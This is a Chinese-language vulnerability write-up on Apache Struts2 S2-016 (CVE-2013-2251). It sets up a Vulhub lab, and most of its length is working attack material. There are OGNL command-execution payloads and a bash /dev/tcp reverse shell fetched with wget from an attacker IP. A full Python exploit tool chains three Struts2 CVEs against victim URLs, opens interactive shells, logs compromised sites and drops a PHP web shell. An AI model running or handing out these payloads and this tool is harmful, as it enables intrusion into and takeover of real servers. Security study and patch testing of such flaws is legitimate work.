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303 lines
14 KiB
Markdown
303 lines
14 KiB
Markdown
# Apache Struts2 S2-016 远程代码执行漏洞 CVE-2013-2251
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## 漏洞描述
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在 struts2 中，DefaultActionMapper 类支持以 "action:"、"redirect:"、"redirectAction:" 作为导航或是重定向前缀，但是这些前缀后面同时可以跟 OGNL 表达式，由于 struts2 没有对这些前缀做过滤，导致利用 OGNL 表达式调用 java 静态方法执行任意系统命令。
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漏洞详情:
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- http://struts.apache.org/docs/s2-016.html
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- http://www.freebuf.com/articles/web/25337.html
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## 漏洞影响
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影响版本: 2.0.0 - 2.3.15
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## 环境搭建
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Vulhub 执行以下命令启动 s2-016 测试环境：
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```
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docker-compose build
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docker-compose up -d
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```
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## 漏洞复现
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在 struts2 中，DefaultActionMapper 类支持以 "action:"、"redirect:"、"redirectAction:" 作为导航或是重定向前缀，但是这些前缀后面同时可以跟 OGNL 表达式，由于 struts2 没有对这些前缀做过滤，导致利用 OGNL 表达式调用 java 静态方法执行任意系统命令。
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所以，访问 `http://your-ip:8080/index.action?redirect:OGNL表达式` 即可执行 OGNL 表达式。
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执行 `uname -a` 命令：
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```
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redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
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```
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获取 web 目录：
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```
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redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}
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```
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### 反弹 shell
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编写 shell 脚本并启动 http 服务器：
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```
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echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
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python3环境下：python -m http.server 80
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```
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上传 shell.sh 文件的命令为：
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```
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wget 192.168.174.128/shell.sh
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```
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上传 shell.sh 文件的 Payload 为：
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```
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redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("wget 192.168.174.128/shell.sh").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
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```
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执行 shell.sh 文件的命令为：
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```
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bash /usr/local/tomcat/shell.sh
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```
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执行 shell.sh 文件的 Payload 为：
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```
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redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("bash /usr/local/tomcat/shell.sh").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
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```
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成功接收反弹 shell：
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## 漏洞 EXP
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```python
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#!/usr/bin/python
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from __future__ import print_function
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from future import standard_library
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standard_library.install_aliases()
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from builtins import input
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from builtins import str
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import urllib.request, urllib.error, urllib.parse
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import time
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import sys
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import os
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import subprocess
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import requests
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import readline
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import urllib.parse
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RED = '\033[1;31m'
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BLUE = '\033[94m'
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BOLD = '\033[1m'
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GREEN = '\033[32m'
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OTRO = '\033[36m'
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YELLOW = '\033[33m'
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ENDC = '\033[0m'
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def cls():
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os.system(['clear', 'cls'][os.name == 'nt'])
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cls()
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logo = BLUE+'''
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___ _____ ___ _ _ _____ ___
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( _`\(_ _)| _`\ ( ) ( )(_ _)( _`\
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| (_(_) | | | (_) )| | | | | | | (_(_)
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`\__ \ | | | , / | | | | | | `\__ \
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( )_) | | | | |\ \ | (_) | | | ( )_) |
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`\____) (_) (_) (_)(_____) (_) `\____)
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=[ Command Execution v3]=
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By @s1kr10s
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'''+ENDC
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print(logo)
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print(" * Ejemplo: http(s)://www.victima.com/files.login\n")
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host = input(BOLD+" [+] HOST: "+ENDC)
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if len(host) > 0:
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if host.find("https://") != -1 or host.find("http://") != -1:
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poc = "?redirect:${%23w%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29.getWriter%28%29,%23w.println%28%27mamalo%27%29,%23w.flush%28%29,%23w.close%28%29}"
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def exploit(comando):
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exploit = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+comando+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
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return exploit
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def exploit2(comando):
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exploit2 = "Content-Type:%{(+++#_='multipart/form-data').(+++#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(+++#_memberAccess?(+++#_memberAccess=#dm):((+++#container=#context['com.opensymphony.xwork2.ActionContext.container']).(+++#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(+++#ognlUtil.getExcludedPackageNames().clear()).(+++#ognlUtil.getExcludedClasses().clear()).(+++#context.setMemberAccess(+++#dm)))).(+++#shell='"+str(comando)+"').(+++#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(+++#shells=(+++#iswin?{'cmd.exe','/c',#shell}:{'/bin/sh','-c',#shell})).(+++#p=new java.lang.ProcessBuilder(+++#shells)).(+++#p.redirectErrorStream(true)).(+++#process=#p.start()).(+++#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(+++#process.getInputStream(),#ros)).(+++#ros.flush())}"
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return exploit2
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def exploit3(comando):
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exploit3 = "%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27"+comando+"%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D"
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return exploit3
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def pwnd(shellfile):
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exploitfile = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+shellfile+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
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return exploitfile
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def validador():
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arr_lin_win = ["file%20/etc/passwd","dir","net%20users","id","/sbin/ifconfig","cat%20/etc/passwd"]
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return arr_lin_win
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#def reversepl(ip,port):
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# print "perl"
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#def reversepy(ip,port):
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# print "python"
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# CVE-2013-2251 ---------------------------------------------------------------------------------
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try:
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response = ''
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response = urllib.request.urlopen(host+poc)
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except:
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print(RED+" Servidor no responde\n"+ENDC)
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exit(0)
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print(BOLD+"\n [+] EJECUTANDO EXPLOIT CVE-2013-2251"+ENDC)
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if response.read().find("mamalo") != -1:
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print(RED+" [-] VULNERABLE"+ENDC)
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owned = open('vulnsite.txt', 'a')
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owned.write(str(host)+'\n')
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owned.close()
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opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
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#print BOLD+" * [SHELL REVERSA]"+ENDC
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#print OTRO+" Struts@Shell:$ reverse 127.0.0.1 4444 (perl,python,bash)\n"+ENDC
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if opcion == 's':
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print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
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time.sleep(1)
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print(BOLD+" * [UPLOAD SHELL]"+ENDC)
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print(OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC)
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while 1:
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separador = input(GREEN+"Struts2@Shell_1:$ "+ENDC)
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espacio = separador.split(' ')
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comando = "','".join(espacio)
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if espacio[0] != 'reverse' and espacio[0] != 'pwnd':
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shell = urllib.request.urlopen(host+exploit("'"+str(comando)+"'"))
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print("\n"+shell.read())
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elif espacio[0] == 'pwnd':
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pathsave=input("path EJ:/tmp/: ")
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if espacio[1] == 'php':
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shellfile = """'python','-c','f%3dopen("/tmp/status.php","w");f.write("<?php%20system($_GET[ksujenenuhw])?>")'"""
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urllib.request.urlopen(host+pwnd(str(shellfile)))
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shell = urllib.request.urlopen(host+exploit("'ls','-l','"+pathsave+"status.php'"))
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if shell.read().find(pathsave+"status.php") != -1:
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print(BOLD+GREEN+"\nCreate File Successfull :) ["+pathsave+"status.php]\n"+ENDC)
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else:
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print(BOLD+RED+"\nNo Create File :/\n"+ENDC)
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# CVE-2017-5638 ---------------------------------------------------------------------------------
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print(BLUE+" [-] NO VULNERABLE"+ENDC)
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print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2017-5638"+ENDC)
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x = 0
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while x < len(validador()):
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valida = validador()[x]
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try:
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req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(valida))})
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result = urllib.request.urlopen(req).read()
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if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
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print(RED+" [-] VULNERABLE"+ENDC)
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owned = open('vulnsite.txt', 'a')
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owned.write(str(host)+'\n')
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owned.close()
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opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
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if opcion == 's':
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print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
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time.sleep(1)
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while 1:
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try:
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separador = input(GREEN+"\nStruts2@Shell_2:$ "+ENDC)
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req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(separador))})
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result = urllib.request.urlopen(req).read()
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print("\n"+result)
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except:
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exit(0)
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else:
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x = len(validador())
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else:
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print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x))
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except:
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pass
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x=x+1
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# CVE-2018-11776 ---------------------------------------------------------------------------------
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print(BLUE+" [-] NO VULNERABLE"+ENDC)
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print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2018-11776"+ENDC)
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x = 0
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while x < len(validador()):
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#Filtramos la url solo dominio
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url = host.replace('#', '%23')
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url = host.replace(' ', '%20')
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if ('://' not in url):
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url = str("http://") + str(url)
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scheme = urllib.parse.urlparse(url).scheme
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site = scheme + '://' + urllib.parse.urlparse(url).netloc
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#Filtramos la url solo path
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file_path = urllib.parse.urlparse(url).path
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if (file_path == ''):
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file_path = '/'
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valida = validador()[x]
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try:
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result = requests.get(site+"/"+exploit3(str(valida))+file_path).text
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if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
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print(RED+" [-] VULNERABLE"+ENDC)
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owned = open('vulnsite.txt', 'a')
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owned.write(str(host)+'\n')
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owned.close()
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opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
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if opcion == 's':
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print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
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time.sleep(1)
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print(BOLD+" * [UPLOAD SHELL]"+ENDC)
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print(OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC)
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while 1:
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separador = input(GREEN+"Struts2@Shell_3:$ "+ENDC)
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espacio = separador.split(' ')
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comando = "%20".join(espacio)
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shell = urllib.request.urlopen(host+exploit3(str(comando)))
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print("\n"+shell.read())
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else:
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x = len(validador())
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exit(0)
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else:
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print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x))
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except:
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pass
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x=x+1
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else:
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print(RED+" Debe introducir el protocolo (https o http) para el dominio\n"+ENDC)
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exit(0)
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else:
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print(RED+" Debe Ingresar una Url\n"+ENDC)
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exit(0)
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```
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